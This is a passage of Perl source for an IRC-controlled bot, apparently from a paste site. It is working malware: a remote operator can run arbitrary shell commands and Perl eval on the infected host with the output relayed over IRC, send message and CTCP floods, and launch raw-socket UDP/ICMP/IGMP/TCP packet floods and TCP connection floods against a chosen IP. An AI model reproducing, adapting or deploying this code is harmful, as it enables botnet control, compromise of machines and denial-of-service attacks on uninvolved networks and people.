  587.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  588.    }
  589.    elsif ($case =~ /^deop/) {
  590.       deop("$printl", "$kem") if $case eq "deop";
  591.       my $oarg = substr($case, 5);
  592.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  593.    }
  594.    elsif ($case =~ /^voice/) {
  595.       voice("$printl", "$kem") if $case eq "voice";
  596.       $oarg = substr($case, 6);
  597.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  598.    }
  599.    elsif ($case =~ /^devoice/) {
  600.       devoice("$printl", "$kem") if $case eq "devoice";
  601.       $oarg = substr($case, 8);
  602.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  603.    }
  604.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  605.       msg("$1", "$2");
  606.    }
  607.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  608.       for (my $cf = 1; $cf <= $1; $cf++) {
  609.         msg("$2", "$3");
  610.       }
  611.    }
  612.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  613.       ctcp("$1", "$2");
  614.    }
  615.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  616.       for (my $cf = 1; $cf <= $1; $cf++) {
  617.         ctcp("$2", "$3");
  618.       }
  619.    }
  620.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  621.       invite("$1", "$2");
  622.    }
  623.    elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
  624.        conectar("$2", "$1", "6667");
  625.    }
  626.    elsif ($case =~ /^nick (.*)/) {
  627.       nick("$1");
  628.    }
  629.    elsif ($case =~ /^raw (.*)/) {
  630.       sendraw("$1");
  631.    }
  632.    elsif ($case =~ /^eval (.*)/) {
  633.       eval "$1";
  634.    }
  635.    elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  636.     sleep int(rand($2));
  637.     j("$1");
  638.    }
  639.    elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  640.     sleep int(rand($2));
  641.     p("$1");
  642.    }
  643.    elsif ($case =~ /^quit/) {
  644.      quit();
  645.    }
  646. }
  647.  
  648. sub shell {
  649. my $printl=$_[0];
  650. my $comando=$_[1];
  651. if ($comando =~ /cd (.*)/) {
  652.     chdir("$1") || msg("$printl", "No such file or directory");
  653.     return;
  654. } elsif ($pid = fork) {
  655.     waitpid($pid, 0);
  656. } else {
  657. if (fork) {
  658.     exit;
  659. } else {
  660. my @resp=`$comando 2>&1 3>&1`;
  661. my $c=0;
  662. foreach my $linha (@resp) {
  663.   $c++;
  664.   chop $linha;
  665.   sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  666.   if ($c == "$linas_max") {
  667.     $c=0;
  668.     sleep $sleep;
  669.   }
  670. }
  671. exit;
  672. }
  673. }
  674. }
  675.  
  676. sub udpflooder {
  677. my $iaddr = inet_aton($_[0]);
  678. my $msg = 'A' x $_[1];
  679. my $ftime = $_[2];
  680. my $cp = 0;
  681. my (%pacotes);
  682.     $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  683.     socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  684.     socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  685.     socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  686.     socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  687.     return(undef) if $cp == 4;
  688. my $itime = time;
  689. my ($cur_time);
  690.     while ( 1 ) {
  691. for (my $port = 1;
  692.     $port <= 65000; $port++) {
  693.     $cur_time = time - $itime;
  694. last if $cur_time >= $ftime;
  695.     send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  696.     send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  697.     send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  698.     send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  699. for (my $pc = 3;
  700.     $pc <= 255;$pc++) {
  701. next if $pc == 6;
  702.     $cur_time = time - $itime;
  703. last if $cur_time >= $ftime;
  704.     socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  705.     send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  706. }
  707. }
  708. last if $cur_time >= $ftime;
  709. }
  710. return($cur_time, %pacotes);
  711. }
  712.  
  713. sub tcpflooder {
  714. my $itime = time;
  715. my ($cur_time);
  716. my ($ia,$pa,$proto,$j,$l,$t);
  717.     $ia=inet_aton($_[0]);
  718.     $pa=sockaddr_in($_[1],$ia);
  719.     $ftime=$_[2];
  720.     $proto=getprotobyname('tcp');
  721.     $j=0;$l=0;
  722.     $cur_time = time - $itime;
  723. while ($l<1000){
  724.     $cur_time = time - $itime;
  725. last if $cur_time >= $ftime;
  726.     $t="SOCK$l";
  727.     socket($t,PF_INET,SOCK_STREAM,$proto);
  728.     connect($t,$pa)||$j--;
  729.     $j++;$l++;
  730. }
  731.     $l=0;
  732. while ($l<1000){
  733.     $cur_time = time - $itime;
  734. last if $cur_time >= $ftime;
  735.     $t="SOCK$l";
  736. shutdown($t,2);
  737.     $l++;
  738. }
  739. }
  740.  
  741. sub msg {
  742.    return unless $#_ == 1;
  743.    sendraw("PRIVMSG $_[0] :$_[1]");
  744. }
  745. sub ctcp {
  746.    return unless $#_ == 1;
  747.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  748. }
  749. sub notice {
  750.    return unless $#_ == 1;
  751.    sendraw("NOTICE $_[0] :$_[1]");
  752. }
  753. sub op {
  754.    return unless $#_ == 1;
  755.    sendraw("MODE $_[0] +o $_[1]");
  756. }
  757. sub deop {
  758.    return unless $#_ == 1;
  759.    sendraw("MODE $_[0] -o $_[1]");
  760. }
  761. sub voice {
  762.    return unless $#_ == 1;
  763.    sendraw("MODE $_[0] +v $_[1]");
  764. }
  765. sub devoice {
  766.    return unless $#_ == 1;
  767.    sendraw("MODE $_[0] -v $_[1]");
  768. }
  769. sub j { &join(@_); }
  770. sub join {
  771.    return unless $#_ == 0;
  772.    sendraw("JOIN $_[0]");
  773. }
  774. sub p { part(@_); }
  775. sub part {sendraw("PART $_[0]");}
  776. sub nick {
  777.   return unless $#_ == 0;
  778.   sendraw("NICK $_[0]");
  779. }
  780. sub quit {
  781.   sendraw("QUIT :$_[0]");
  782.   exit;
  783. }
  784. sub modo {
  785.    return unless $#_ == 0;
  786.    sendraw("MODE $_[0] $_[1]");
  787. }
  788. sub mode { modo(@_); }
  789.  
  790. sub invite {
  791.    return unless $#_ == 1;
  792.    sendraw("INVITE $_[1] $_[0]");
  793. }
  794.  
  795. sub topico {
  796.    return unless $#_ == 1;
  797.    sendraw("TOPIC $_[0] $_[1]");
  798. }
  799. sub topic { topico(@_); }
  800.  
  801. sub away {
  802.   sendraw("AWAY $_[0]");
  803. }
  804. sub back { away(); }
  805.  
  806. }
Add Comment
Please, Sign In to add comment